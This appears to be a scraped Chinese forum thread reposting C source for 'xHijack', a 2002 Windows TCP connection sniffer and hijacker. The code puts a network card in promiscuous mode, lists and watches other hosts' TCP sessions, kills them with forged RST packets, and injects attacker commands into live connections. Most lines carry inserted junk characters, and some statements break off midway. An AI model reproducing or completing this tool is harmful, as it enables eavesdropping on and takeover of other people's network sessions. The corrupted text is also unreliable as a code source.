void ResetActionAllFlag() 3 ?$ m0 Q: ^/ m" O
{ 1 b  ~5 \* ~4 X; H
  g_dwCtrlConn = 0;
* L0 B6 ?5 g& H# j  g_pCurrCtrlConn = NULL; 9 E0 D2 a( Z1 Z$ g# U' z) C$ u
  g_dwAction = ACTION_NONE; ! n& O7 }4 C: B/ l& z, f
}
( B1 s  |  W3 @. o
; J! H1 l- e- x  R- O// ' `+ s) I9 o$ _. x
//功能:处理Ctrl+C和Ctrl+Break事件
0 V* F5 y! v$ ]( n//
5 V2 J: I# F0 {- R, y! {2 bBOOL WINAPI CtrlEvent(DWORD dwCtrlType) * Y9 V6 ~: x0 o* g
{ 5 n2 k( \7 v2 }& G! F
  switch(dwCtrlType) & e4 @* {  l& ^* K0 [1 y7 [
  {
/ V, ^' ]) s9 t0 M9 l( j    case CTRL_BREAK_EVENT:
) C/ B2 F9 P2 N" A0 e; {      //reset action all flag ; P* {% L/ i8 k: |( O
      ResetActionAllFlag();
9 g  k6 f1 a) l' l3 F5 F. v      break; 6 n  \+ A+ O- o' X4 }$ [. M$ x3 B
    case CTRL_C_EVENT: ! q+ Q8 m: R( y
      //terminate all thread
  G7 ]0 V4 K+ @7 u. B- G. s5 }: T: G      TerminateThread(g_hThread[0], 0);
. o/ }( p' Y2 q5 H  a      TerminateThread(g_hThread[1], 0); & Q; N  r7 v# D! Z
      TerminateThread(g_hThread[2], 0); 6 h  I: @3 X/ ], \& r/ R$ L
      TerminateThread(g_hThread[3], 0);
: V$ f  k5 L. `$ y, @. |      break;
3 b" J+ C: C' l% F2 u# {2 {    default:
9 o1 U) I5 d: L  ~      break;
3 B: R. G2 t2 [1 U; M  }
7 U8 n! x8 B' A  a4 S( G4 L3 ?) _  return TRUE;
2 l) N; ~/ T; ?3 s# |6 v' _( H6 m+ [}
  M. j% `- a! E" F4 u% R6 w. T8 V/ }9 {) u1 ~5 e* j7 P
//
& d) i: f0 v. D2 o//功能:处理用户输入
5 j( Z$ @" b/ k# _// % S* L# C3 L7 s: U1 @
DWORD GetConnNum(char *szStr, DWORD dwLen, DWORD *lpCommandPos) 9 Q/ H6 d, g. T0 C
{ 2 x3 H6 O9 p+ L. n+ j' N
  DWORD  i; ) s2 X8 ]9 V5 B# i1 Q8 G
  char  szBuff[16]; 0 E4 H# |) A3 |  q
8 K, F3 m: y$ Y- g9 B7 a8 I. s, L
  *lpCommandPos = 0;
/ }" x. {3 u% U( E! K  for(i=0; i<15, i代码比较乱 4 G9 j3 i! p- Z
// $ L2 K4 _; N- s* z* T7 P) r+ Z! R
DWORD WINAPI InterfaceThread(LPVOID lp)
* V7 h2 Q* A8 `+ _4 P; i{ ) R3 Y- }- j8 w( G* f
  char  szHelp[] =  "l\t\t<-- List all connections\n" " b6 T# X* G# n. k' X
            "r x\t\t<-- Reset the number x connection\n" " S+ L, d$ b" B& }+ g
            "w x\t\t<-- Watch the number x connection\n"
% i& U. K  O$ s/ r) a7 W            "h x command\t<-- Hijack the number x connection to execute command\n" 9 u0 I, k& `  A" g+ F) O
            "[Note]\n"
5 g0 B/ ~+ V- S3 K; C            "Ctrl+Break to clear all action\n" + \- @8 @6 k& E5 `7 R
            "Ctrl+C to exit\n";
/ l( f8 ~1 v2 o  char  szPrompt[] = "\nxHijack>";
, L8 {. c' p( T; a/ e  char  szBuffer[128];
" S: }% {" M; H' y' v  DWORD  dwPos; 9 }0 u! Z- k- A, m, N$ o/ G0 Z
  PCONNINFO  pTmp; # b* x$ ~% L5 @% ^7 \

8 i+ d+ \4 N3 F+ N9 z  while(1)
" e- x  P3 i. W1 U  {
  Y3 w6 i3 @5 R) K9 T% b    gets(szBuffer);//不考虑buffer overflow % Q, A! U# _# G  y9 b0 a0 Z
    switch(szBuffer[0]) - Y' T4 e9 O3 z( u8 ^) s
    { 6 ^6 q) y/ v) k* p9 N0 l/ d0 E; d$ W
      case 'l': 1 V4 l$ N& ^' \# R$ J1 s4 B
      case 'L':
$ \7 ]+ F4 F2 g/ l        ListAllConnection(); . b5 G0 j. w2 F
        break;
0 P  r) a0 A; F      case 'r': ' C( c+ r5 t0 ~2 i* e
      case 'R':
$ p0 {. x" F, _/ u! }/ J. m& C        if(strlen(szBuffer) >2)
* l6 i" G$ \8 k( E        {
* @& {0 o  d" ]: S          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos);
( g1 x& d1 S+ W8 w  M          g_dwAction = ACTION_RESET; 4 O" L7 a6 H/ g: A$ m2 T3 a) ?
        } ! a* l4 g. A1 ?: m
        else printf("%s", szHelp);
; w  t" k3 ^. {* V. t        break; " `. Q! G8 R' Q" o& Q
      case 'w': 5 L4 b, N' `/ I5 X, K9 [
      case 'W': : w! B- ~( g9 ]# W- B
        if(strlen(szBuffer) > 2) 1 K. ?; ~. c  m
        { $ @* v; t3 q) O( ~! x! T  k) D% {8 }7 ]: M
          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); 7 F* g3 R, }2 ], I8 n) j% S
          g_dwAction = ACTION_WATCH;
  n4 K( {, n/ j. }" j        } ! i, L: k0 e4 ~. ^. y
        else printf("%s", szHelp); ; ?7 N! \8 p! x3 W; O6 c% Z
        break; 2 k5 m  E( f% A, K, o0 {
      case 'h': / S8 D) C) P7 k% Q/ ~4 r
      case 'H'://h 1 xxx ; f0 s' A& g0 Y4 X/ Z0 I
        if(strlen(szBuffer) > 5)
) |; C, |* P* r" N- P        {
- f. C* [/ D) k- M, w          g_dwCtrlConn = GetConnNum(&szBuffer[2], strlen(szBuffer) - 2, &dwPos); : l5 v- O3 {. I* u3 e
          //如果command第一个字符是'或"
& Q0 z4 q' V8 o# ~) p& K* G0 V8 O0 w          if( (szBuffer[2+dwPos+1] == '\'') || (szBuffer[2+dwPos+1] == '\"') ) # x" {+ x; ]( y* \- Q' n+ x9 `
          {
( G0 j/ Q  X' l5 v0 L* P            strncpy(g_szCommand, &szBuffer[2+dwPos+1+1], sizeof(g_szCommand) - 3); . R( l$ _. E% v/ b! @2 a" K+ g' V
            g_szCommand[strlen(g_szCommand) - 1] = 0x0;//去掉最后一个'或"
4 t* u/ C1 G7 }8 o2 t' g1 n          } 7 y" }$ @, {. J* ]7 W
          else strncpy(g_szCommand, &szBuffer[2+dwPos+1], sizeof(g_szCommand) - 3);
8 o9 M% Z5 X* k' B3 M          strcat(g_szCommand, "\x0D\x0A"); / r8 T" v( F( P% B% T8 C
          g_dwAction = ACTION_HIJACK;
# U) y" ?% X8 z) U        } % l9 @0 f: H+ ~0 b; V; Y. D) q
        else printf("%s", szHelp); 7 `+ M" u( x1 ]
        break; ) j$ v( s2 `7 l
      default:
5 Y0 i1 \. Z; K3 f7 b* C- i! ~        printf("%s", szHelp);
9 R/ O, y% P& S; \' @6 H2 V        break; ) [* i) V3 _4 ]# n$ F7 g) Q- |
    }//end of switch . ^0 }5 i8 f$ M3 Z* g4 U+ d
    //find the specify ident's struct point $ c( s5 k9 N4 |8 l
    if( (g_dwCtrlConn) && (g_dwAction) )
, w& c/ D3 c) H# h5 D' ]- r' O    {
# B* _2 f/ I$ m7 _% t      g_pCurrCtrlConn = NULL; 0 Z/ e/ }/ H/ N9 Q" I) d" r2 J
      pTmp = g_pConnHead;
4 s, `3 W# t2 A4 y1 ^% h6 e      while(pTmp) 6 r" V) _. k! Y
      { " O7 K1 @: K) F- L) o) y
        if((pTmp->ident == g_dwCtrlConn) && (pTmp->bActive) )
6 L( Q: }3 \* U* p% R5 r! ]        {
# F0 d& j$ ?) J) t  J! a) f          g_pCurrCtrlConn = pTmp; $ }  E! Q% S+ x9 ?  m/ S( _0 `
          break; 1 d, }7 p+ s( V
        }   W( Y# a. Q! N! ?3 Q: `
        pTmp = pTmp->Next; 9 i* ^) h( P" R/ U( [3 b' \
      }
0 k! x5 ]  ~# M) ~6 `      if(!g_pCurrCtrlConn) ' ~& M6 I& E* ~, E% V& X) h
      {
7 T3 d; e" n* W/ U2 A% s. w+ p        printf("Can't find the number %d connection.\n", g_dwCtrlConn); 3 Y3 ~' Y1 d4 q+ C% Q: {
        //reset action all flag
. X& o" V, j! L2 V7 C* Q* t        ResetActionAllFlag();       / C: _: b6 z1 l0 P% |
      } 5 C+ _# D6 g/ w2 q1 ?
    }
5 T2 s0 _2 U: i' Z    if(!g_dwCtrlConn) ResetActionAllFlag();   S4 h, E6 a* Z1 a6 X
    //显示当前用户所期望的动作 - ~# i+ u! G# V! A- Q
    printf("\nCurrentAction:");
& c/ Q" A! k" @7 R) C1 E    switch(g_dwAction) ! Z6 y3 q% s+ u! S+ r# U7 I
    {
6 {/ ]8 y0 S' ^' k% K/ O, V      case ACTION_WATCH:
) |$ j$ _. `3 ]- A        printf("ACTION_WATCH");
6 r* _; E0 r3 t0 U) @2 j        break;
$ B0 B: @; E2 H      case ACTION_RESET:
% W4 O: \; K4 \. F        printf("ACTION_RESET");
* A5 t3 ?. I- E        break;
/ o8 K6 i0 I/ z$ a/ m; a      case ACTION_HIJACK: 1 u" ]( K, z' E4 r" V  z
        printf("ACTION_HIJACK");
. `' @' P% e- C2 |% v* `        break;
6 m. Z$ l- _3 b3 F3 K- x  R      default:
" L" h) X/ u% G; _        printf("ACTION_NONE"); 5 r0 z- {8 c; ^1 v+ U0 R
        break; 4 u2 w7 B/ p% T+ `( C- R
    } ) [9 f, q/ k5 \# t5 t/ u( o/ w
    printf("\tCurrentCtrlConn:%d%s", g_dwCtrlConn, szPrompt); * v9 M0 B% ~! \& n. h# K8 S
  }//enf of while
9 F* ]- j3 v; y  a/ E1 i! w* @  return 0; 9 N" \* k- k" d2 @0 \) `8 l& F
}
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

// ( T) c; ~7 D4 j0 B( I* D //功能:列出当前所有连接 + C z% v/ Q- e// $ {+ n, f* K, X! fvoid ListAllConnection() 3 j- q* x5 B* N+ m { " p- z6 X* Q+ i8 z) G PCONNINFO pTmp; 5 V, [: Z# b' T2 A% g" X SOCKADDR_IN saDest, saSource; + A, o0 C* k* c5 j; d1 D pTmp = g_pConnHead; , H1 p7 D/ k' M' o" T/ [6 A! l" M while(pTmp) & B$ `) B9 d; j; F3 [4 @ { 8 h3 @6 t( t: e F m8 S if(pTmp->bActive) 3 C, U+ R: T% s { 0 ?8 i3 e" e+ n saSource.sin_addr.s_addr = pTmp->dwServerIP; ! t0 ]; ]" q/ [" q5 S5 X saDest.sin_addr.s_addr = pTmp->dwClientIP; 3 c1 m {3 m8 ~. p* w% }7 n* ~ printf("(%d) %s:%d <--> ", pTmp->ident, inet_ntoa(saSource.sin_addr), 3 H0 I( w9 @8 }- D1 _& H7 } ntohs(pTmp->uServerPort)); ! M* n9 J( q( B( G! U. U$ a printf("%s:%d\n", inet_ntoa(saDest.sin_addr), ntohs(pTmp->uClientPort)); 2 @& X- q1 Z; H2 w } % p* I' ]8 ^8 A2 _* c8 J1 ^. } pTmp = pTmp->Next; ; S- a( `9 m' l9 N7 \* y6 ], J } ' t1 p, H2 ~) i& c) E% o+ w} ' U8 o5 o1 Y8 B( g4 a* ] ) |5 j, B9 j0 S// 8 F \ C: x% ~: d, o4 k( D //功能:初始化一些数据,取得指定网卡的MAC地址和所有IP地址 ~/ B; f5 L9 G; R p G // ; C- l: K5 L( y% H% `) ~LPADAPTER InitAdapter() : T" r7 E$ N8 W9 S$ y. C% h { ) E. Z' B, K5 V LPADAPTER lpAdapter; + l, r1 v* ]. d3 {+ d) O. {/ f static char AdapterList[Max_Num_Adapter][1024]; * A- |; n" ^& l/ k z char szSelectAdapterName[512]; ' B- k8 w3 n7 r* f; N7 z& I$ k WCHAR AdapterName[2048]; * m/ v7 d" H0 x1 n2 f8 w WCHAR *temp,*temp1; 6 F0 o2 `3 {! A8 i$ t3 O ULONG AdapterLength = 1024; # Z) {' @0 Q: {: ? int iAdapterNum = 0; 8 Q; k; b# d- K* p1 C2 u# F int iRetCode, i; ' G3 z5 m% ]+ V7 l* n0 e int iAdapter = 0; * Z5 F9 j, F8 }- y ULONG ulLen = 0; 9 e* r( q* m9 i" I1 r DWORD dwRet; $ O' Y; p+ I c; a$ q1 I; v X PIP_ADAPTER_INFO pAdapterInfo = NULL, pTmp; 3 k' s2 T; T0 [% d: E PIP_ADDR_STRING pIPAddr; # ` }8 Q; G7 q" ?+ U8 O% `% r, s. u3 y y4 C1 ]5 `) B4 g; c- Z //Get The list of Adapter * {5 V; e" a9 J if(PacketGetAdapterNames((char*)AdapterName, &AdapterLength) == FALSE) # ^# `$ i; R' W: g) | { 5 ^& Z1 G* o# y- o. V6 g printf("Unable to retrieve the list of the adapters!\n"); 4 `) D: r; ~3 `4 f7 N return 0; 9 a) N4 Z+ u1 t( h W) h- t4 Q } , `! \# o2 y+ h- a1 x8 R: l9 y temp = temp1 = AdapterName; . u0 Z% I5 e. S x3 W i = 0; p5 y, D- T4 Z- I6 ^+ J while ((*temp != '\0')||(*(temp-1) != '\0')) 5 t+ l2 b+ Q f" {+ S& {6 i { * T9 L) ?6 r h# d, f7 f: ^9 o+ C if (*temp == '\0') 3 R! t1 K. N' M* c: m { : ]( `+ S$ J% q memcpy(AdapterList,temp1,(temp-temp1)*2); 6 u$ `% \1 ~6 L) {& a printf("%d - %S\n", i+1, AdapterList); 8 m8 f$ K- n! C9 m2 { temp1=temp+1; % a$ q4 S$ }4 X0 {1 N i++; 4 d4 B( S, e0 h# E } - ~2 n8 R% u6 }! J temp++; 3 h+ E( F; T) b7 f: N% a& h% q } 4 l+ Q3 j% V% p9 T8 n //choose adapter 9 ~, ^. n W2 \ while((iAdapter <= 0) || (iAdapter > i)) 8 x9 @# T* D: G. @% J9 K { : |; `: k- W3 T& z' I1 l printf("\nPlease choose your Adapter:"); ( c+ h3 q; T6 W& Q& G8 M# ] scanf("%1d", &iAdapter); ; h- r9 J0 C0 I9 c7 H } , I6 Z! l: {1 \' S- F S( q6 @# u' q printf("\n"); " ?- X4 T% l* g4 s9 \3 T9 s //---------------------------------------------// 7 }9 k6 |* Z U. a3 R. @8 ^% W( K' Y //这里调用iphlpapi来取得本地ip_addr和mac_addr 0 Q. V5 Y2 x. i: Y+ X; r sprintf(szSelectAdapterName, "%S", AdapterList[iAdapter -1], sizeof(szSelectAdapterName)-1); ( h O# `# [" ~( Z4 ]! {$ s; Z dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); - N5 S$ `7 o1 H- w1 ? if(dwRet != ERROR_BUFFER_OVERFLOW) ]- R7 g' P) B6 B; Y { / N1 t; s$ Y i- C* z6 c9 [5 F1 N printf("GetAdapterInfo error:%d\n", GetLastError()); * `) ?4 c- q0 a L3 O. t return 0; : x. c+ L! V6 n } + A' r, p5 v6 Y k+ ]% { pAdapterInfo = (PIP_ADAPTER_INFO)malloc(ulLen); ) L+ P. C/ M& |: b+ v: B5 k( K if(!pAdapterInfo) + t, a& g. M: I" e' n& B6 F6 F { 2 G0 W" {4 l o) ?0 V4 z; u! _ printf("malloc memory for pAdapterInfo error:%d\n", GetLastError()); * t$ f- C7 T* R9 V( i return 0; ' v }2 a M0 O. H# n } 7 B" [& m: ?2 o; i dwRet = GetAdaptersInfo(pAdapterInfo, &ulLen); _/ s% U: _# H2 T. y if(dwRet != ERROR_SUCCESS) # A& D. u: p( w# Z/ G! [7 n { + Q8 e! l6 V( m/ ~/ i+ S printf("GetAdapterInfo error:%d\n", GetLastError()); 1 M4 M, D7 r( q! t% O return 0; 2 p; R- n! b- X3 Z" g } ( w( M+ d' u. J) |4 p. u/ ] pTmp = pAdapterInfo; & a7 t# K) Q. F/ U while(pTmp) - v/ a; S _/ ]/ D1 s+ c. g { " Q C5 b8 c/ x" | //字符匹配
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

if(strstr(szSelectAdapterName, pTmp->AdapterName)) 2 ~# K' [+ V! v8 }/ F; Z { $ b9 g" D- |9 w! h5 M- D6 ` //found it,get own adapter mac address 0 b, x9 K$ r" d5 V memcpy(g_szOwnMAC, pTmp->Address, 6); 1 D% g/ p2 e8 c, { //get ip address 8 c# ?& K6 j4 c+ V pIPAddr = &pTmp->IpAddressList; 3 s5 ]: d& i; a7 o, z while(pIPAddr) # z& z8 X5 e! [" w8 x { " M, S# V% w( F% I$ o( A g_OwnIP[g_TotalIP++] = inet_addr((char *)&pIPAddr->IpAddress); ' a' [4 `8 Y' f# i& P pIPAddr = pIPAddr->Next; + E6 A/ @6 X4 l: { if(g_TotalIP >= Max_Num_IPAddr) break; # F7 L5 x" ~1 {" t3 E2 [ } 8 O6 C7 t9 D$ d' ? break; , k5 E7 y; U, k } 9 s+ x D: t6 c3 j! c- z pTmp = pTmp->Next; " e, R" l4 _, w } 0 S# P8 j3 ~9 Z3 n# F- _ free(pAdapterInfo); + y- l5 M1 [) W, L+ k //not found,return zero ! _- s9 M3 W. p. c# z! t# a if( (!pTmp) || (!g_TotalIP) ) return 0; 1 a/ s9 z7 b* l) { //---------------------------------------------// % b9 s% F1 |$ o6 R: m //open adapter * T- b" L9 I/ ?* l# b lpAdapter = (LPADAPTER) PacketOpenAdapter((LPTSTR) AdapterList[iAdapter - 1]); ( ^+ K& ~; Q9 j1 b- a5 q9 l if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE)) - @, A" |. @! T) }; A& [ { # H& M& o/ L( n7 @, Z% m# h iRetCode = GetLastError(); 6 D0 Y' N; U- e0 k# B printf("Unable to open the driver, Error Code : %lx\n", iRetCode); ) ~5 S' N! j) `1 S' t% C return 0; ( H1 ?, }$ N4 M9 |+ k+ Y* l$ V } # g5 ~9 n% B5 J // set the network adapter in promiscuous mod % a2 _. J. w0 M0 e2 K if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) # R! k: F0 ~+ q* @ { ! L. I0 H! A$ a% o printf("Warning: unable to set promiscuous mode!Try set ALL_LOCAL mode!\n"); 8 t; _# Z. E! b( e. @ if(PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_ALL_LOCAL) == FALSE) # R" _- Q; {' \- P3 _( } { ( P0 T A3 s. r! C printf("Unable to set ALL_LOCAL mode!\n"); \% A# c4 M/ Z# E return 0; & q3 u" d3 Q, e, Z7 p+ w4 j } / }3 ?4 Y4 P% G& e- m4 P } 3 \2 C9 L3 @3 ~5 I6 P+ h- g: T6 L i // set a 512K buffer in the driver 5 j' P* D# K. r0 W" Z4 |/ G: l+ M if(PacketSetBuff(lpAdapter, 512000) == FALSE) # ]8 k1 D+ z( J- n4 q) n) s0 p { : J7 h7 c: D0 v }6 V printf("Unable to set the kernel buffer!\n"); 1 t: l9 z' q9 k# C return 0; * F. J: q0 M- m } # {7 U, x- Y2 O0 Z5 I // set a 1 second read timeout ! Z$ k( O: Q& X, V% X" b1 a if(PacketSetReadTimeout(lpAdapter, 1000) == FALSE) O( k5 P! n7 b" `! w printf("Warning: unable to set the read tiemout!\n"); 5 l6 S' \: | y# k- w) u if(PacketSetNumWrites(lpAdapter, 1) == FALSE) ( @6 Q6 p! `$ O( T7 u# x+ v printf("warning: Unable to send more than one packet in a single write!\n"); ( z: k5 ^' b: B, k# } //设置发送的packet 4 ]5 R% \5 J0 y# i' X- @: w g_lpSendPacket = PacketAllocatePacket(); d- N* N( W+ \% o4 `: k# [8 r8 } if(g_lpSendPacket == NULL) # o( ~, x: w7 a% {& {7 Z0 r { / j, N) _5 d5 b; v printf("Error:failed to allocate the LPPACKET structure for send packet.\n"); 4 L9 d: X, O. D5 h/ Y, o return 0; + L7 C8 i8 v4 d# b7 j/ ^ } $ }. t* B- P; x4 p% G ZeroMemory(g_szSendPacketBuf, sizeof(g_szSendPacketBuf)); * X0 T. U5 D' j' W/ a PacketInitPacket(g_lpSendPacket, g_szSendPacketBuf, 1514); + }; T) ?( `4 m7 J return lpAdapter; . l8 }8 Y* j* C; ?} ! V u$ V- M. B9 o4 e' C Z# U- q+ h% ~; A5 B+ @% w& p/ p4 S$ @1 s //功能:帮助信息 0 H+ z) X. z7 d3 T3 W void usage() 8 `3 @/ E9 |/ \4 q{ 0 \' O+ O5 L: p! R2 u! p printf( "xHijack v1.0 -- multipurpose connection intruder / sniffer for windows 2000\n" j4 k$ H& j. m& W; v "By eyas 2002/8/19\n" 1 u6 g4 L z# u, c. U U; e "http://www.ey4s.org\n" ( m0 F# i1 @. Q& \0 o6 g8 j3 n) x "Thanks to Refd0m and shotgun\n\n" & l6 L3 \% J" ^4 Z3 z# H4 ^ "Usage: xHijack ServerSide ClientSide\n\n"); & h! z# b4 M7 z7 e3 }} 8 B7 \% r. M1 U$ e- T% f 2 c- p. K+ g2 `. u) `' k// ; }6 f8 s7 d$ d, ]* b9 a5 B8 p k" G //功能:显示数据包的一些详细信息 , h' e' N& d* [9 g2 T9 [ // ( _# R9 s5 ~: k9 C- Y2 _- m) v) dVOID ShowPacketMoreInfo(PTCPPACKET pTCPPacket, USHORT usDataLen, BOOL bDetail) , ?# w$ f: ^. f. i2 w# N B, r1 C { % p1 l' v# S1 e' y; N1 `" ` SOCKADDR_IN saDest, saSrc; 9 y* w1 r- h, i. h. Z unsigned char FlagMask; 9 y9 q5 x, S G( T8 V" {6 c int i; 6 a. j1 n) E4 G/ D* h! _2 Q- U" t# i% P/ y/ o) {$ ? saDest.sin_addr.s_addr = pTCPPacket->iphdr.destIP; , T F# G" g: _2 @6 q% A$ Z9 s0 a! R saSrc.sin_addr.s_addr = pTCPPacket->iphdr.sourceIP; & B! w$ X- |3 u8 G& E9 l6 w printf("\n%-15s:%-5d -> ", inet_ntoa(saSrc.sin_addr), ntohs(pTCPPacket->tcphdr.th_sport)); " i# J9 t4 G |/ j; F3 v printf("%-15s:%-5d DataLen=%d ", inet_ntoa(saDest.sin_addr), - Q3 d3 x% u4 ^( ?8 w+ U ntohs(pTCPPacket->tcphdr.th_dport), usDataLen); ' t# `9 Z8 c" X //display TCP flag 6 m: D) Y. y; a5 ^$ Q for( i=0, FlagMask=1; i<6; i++, FlagMask <<= 1) 1 [# j0 M, e% C { 4 J( w+ ^+ r& f3 W! { x if((pTCPPacket->tcphdr.th_flag) & FlagMask) D- J+ S7 o; Y printf("%c", g_szTcpFlag); ; z! i0 Y2 M; H; N( o& A else printf("-"); 0 e( I5 q% ^( r+ x: m( C! e3 j. S } 0 d- T5 q6 j7 `9 o0 l printf("\n"); 3 W0 p/ o0 x- u //如有需要,可显示更多详细的信息 * }/ Z. X, v9 t2 \8 E C+ G2 }; W& s if(bDetail) # O# I) O T( }1 q5 X; k printf("SEQ=%.8X ACK=%.8X\n",ntohl(pTCPPacket->tcphdr.th_seq), ntohl(pTCPPacket->tcphdr.th_ack)); ! }! A/ b6 T! M1 ~' z8 g; @0 h} 1 g9 I5 }: \, m" I$ S7 |7 J) M3 l4 \4 a" ]$ D$ X' n( g" \ // # A1 _2 o# ]% A1 v //功能:处理收到的数据包(只分析本不属于自己的包),然后根据用户输入,完成各种功能 ' I+ _" T4 a5 a$ R// / d5 N7 W$ W1 @& N) B# ?DWORD WINAPI AnalysePacketsThread(LPVOID lp) 8 u, R( `6 A+ x{ " {0 T( z( Q) Y ULONG ulBytesReceived; 0 E! o! J# a/ w) Q( y# N+ X, a USHORT usDataLen; ' M, L+ L5 c/ T6 Q8 f, n //USHORT usIPHeadLen, usTCPHeadLen; / P d( N/ T [( Q1 `, ? char *buf; # w* A; r9 X) C7 c& @1 V- y4 ]& W u_int off, i; 6 w: Z+ d% f- E0 J" l. Y% K5 Z5 q PTCPPACKET pTCPPacket; 1 b. Z" Q3 ~6 k, p4 D struct bpf_hdr *hdr; + p0 k8 v5 ]5 c* \ LPPACKET lpRecvPacket; 9 \* Z$ O/ h. R+ {# p* i char szPacketBuf[256000], *pStr; 9 R% q% J/ O" J/ K BOOL bDeleteNode, bAddNew; * {8 k Y8 u. w1 e4 j3 D1 s5 q DWORD ident;//当前所处理的数据包,所属的连接的唯一标识 ' Z2 V6 A& A+ Q4 n BOOL bClientToServer;//数据包是否从客户端发送到服务器端 + \5 P8 P4 ^/ e " j1 @1 P9 j( q% _2 w# c K3 n/ c //设置接收的packet 0 H2 n6 G$ F N! ~- M lpRecvPacket = PacketAllocatePacket(); # J1 H( `, i9 M) B2 W4 M# c if(lpRecvPacket == NULL) 9 C' E& b0 G6 W) c* Y/ v2 |7 C+ z { # a4 t5 F! U2 m, \; d k3 } printf("Error:failed to allocate the LPPACKET structure for recv.\n"); ' e9 k* G; n8 [+ c8 B2 o return 0; 6 M% s/ `5 x6 k7 T6 [+ H+ s } 8 J* A* s) ~/ z2 o. _ ZeroMemory(szPacketBuf, sizeof(szPacketBuf)); - |7 `2 b6 X+ Y* C+ [1 Y PacketInitPacket(lpRecvPacket, szPacketBuf, 256000); 2 V" t, O; v) n6 ]! L while(1) 6 `& h, M7 A: K# n( F { & N5 M9 c+ Y( u4 A' H3 h8 r% @ // capture the packets ?+ L# Y5 w; u7 F/ | if(PacketReceivePacket(g_lpAdapter, lpRecvPacket, TRUE) == FALSE) 1 b2 ?4 T, W7 P' V5 }+ O* f { 5 K# W% W- C/ Q printf("Error: PacketReceivePacket failed.\n"); % l7 r5 R0 t% D5 r. x5 r( V. V break; 1 N' Z7 V) n9 c2 F- O% i' R } + |/ |+ D, U) @; R3 a t ulBytesReceived = lpRecvPacket->ulBytesReceived; + R! |% y( S* h buf = lpRecvPacket->Buffer; / d! g% k# h5 Q1 s% ^9 ? off = 0; ! v& z3 Q" D5 O- j0 { while(off < ulBytesReceived) : G4 ^9 M, ^& }6 n, _ t, Q$ L { " `" g" P* r; B0 U/ Z9 o+ L( k hdr = (struct bpf_hdr *)(buf + off); 5 t/ Q' m1 `2 H# A! o) s/ b# Q off += hdr->bh_hdrlen; ! c" M8 t. \, B8 S o3 C+ Q5 W! K pTCPPacket = (PTCPPACKET)(buf + off); 3 G, D8 d1 k9 e6 l% f# x9 o off = Packet_WORDALIGN(off + hdr->bh_caplen); 2 [% D6 Q+ i! q1 g% [8 Z //不需要处理自己发出的包(转发或本机发送的) " \' k/ @2 f# Q$ x, \/ I if(memcmp(pTCPPacket->ehhdr.SourceMAC, g_szOwnMAC, 6) == 0) continue; 7 g" @. `* e; u$ `$ H/ F! N, z- H //检查是否IP包 4 q6 y3 B" J3 a, O+ z if(pTCPPacket->ehhdr.EthernetType != htons(EPT_IP)) continue; : P Z9 X# C+ h //检查是否TCP包 2 c8 v7 l2 ~( h$ b3 q; x& G if(pTCPPacket->iphdr.proto != IPPROTO_TCP) continue; " Q! A% R2 C' Y* g: ?3 X, D/ A* y //也不处理DestIP是自己的包 9 {; j* f$ `( o. W" S3 k, z; f for(i=0; i
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

pTCPPacket-&gt;iphdr.sourceIP, pTCPPacket-&gt;tcphdr.th_sport, TRUE, FALSE); ! f) `+ M* N0 n5 r
            //reset action flag
- P- @) o' D( r( C            ResetActionAllFlag(); ; Y  ]) I$ W7 l$ _
          } 0 m( m) `9 r  Z7 Q+ c8 s7 _
          //start hijack
0 t2 l; }" K9 D4 N& ]8 @5 A          else if(g_dwAction == ACTION_HIJACK)
2 Y4 m  [- c# E+ c; @( R          { , V: y3 s& o2 K4 X# I4 I' e- k' j
            //send rst packet to client
& v+ `; W7 y* L" Q. `            SendRstPacket(pTCPPacket-&gt;tcphdr.th_ack, pTCPPacket-&gt;tcphdr.th_seq); 8 l$ Z) P5 L. z8 y* h/ ~
            //send hijack packet to client
9 d/ x+ S/ }7 D" n. |            SendHiJackPacket(pTCPPacket); . \1 d( ?$ Q4 T: p3 a6 x- c
            //reset action flag & i& O/ y; t6 o  D
            ResetActionAllFlag();
0 R0 l- q1 |/ D3 e0 }. G          }
2 r$ N! _1 i1 p- ]  h        }   _8 C9 k. m/ o1 r$ ^) ?. q
        //show the tcp data
/ ~8 T, U% K: N        if( (g_dwAction == ACTION_WATCH) &amp;&amp; (usDataLen) ) 9 l$ o* S$ z& s" ~- R
        {
* f2 T" P- [$ I) U- U" @5 T          ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
. g* @8 b" U  n1 S2 z          //暂不考虑IP、TCP头不是20字节的情况
' P/ F# d8 |0 @' @' N" [          //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
! }7 P! p% F, w, G+ P          pStr = (char *)pTCPPacket + 54; 0 g! L" }, {+ ^4 V  y+ K
          for(i=0; i        }
; K, k1 K( }5 w0 Q0 j& s      } 1 u: f6 _& F6 i6 G
      //debug output # f+ O% V0 I8 c1 G
      //ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); 8 ^: y- P* R8 ?- a1 [- c# \- W
    }//end of analyse packets while
6 X) \* I! u, s; G, Y1 h, ~& _  }//end of recv packets while
5 `! Y1 `0 |( C0 ^  PacketFreePacket(lpRecvPacket); $ `9 W6 m5 P+ N8 H8 n
  return 0; 8 Q# i, L' f0 T& z4 Q& {
}
, s; b  @  Q( o/ I' g. P5 t( E6 w" y% J
. ~7 v; @3 ~" v9 H3 _
// 3 f2 w7 {# a2 t8 K# E) r: r9 d
//功能:操作记录所有连接信息的单向链表
/ L! R/ a+ ?6 Q0 F// ( B9 x( R9 e$ P+ N
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, 9 O5 {  C* X  Q0 C- _
            USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
& ]2 y3 N+ W5 z+ t6 @) I{ / a3 a1 M! v5 ?: g- U8 y
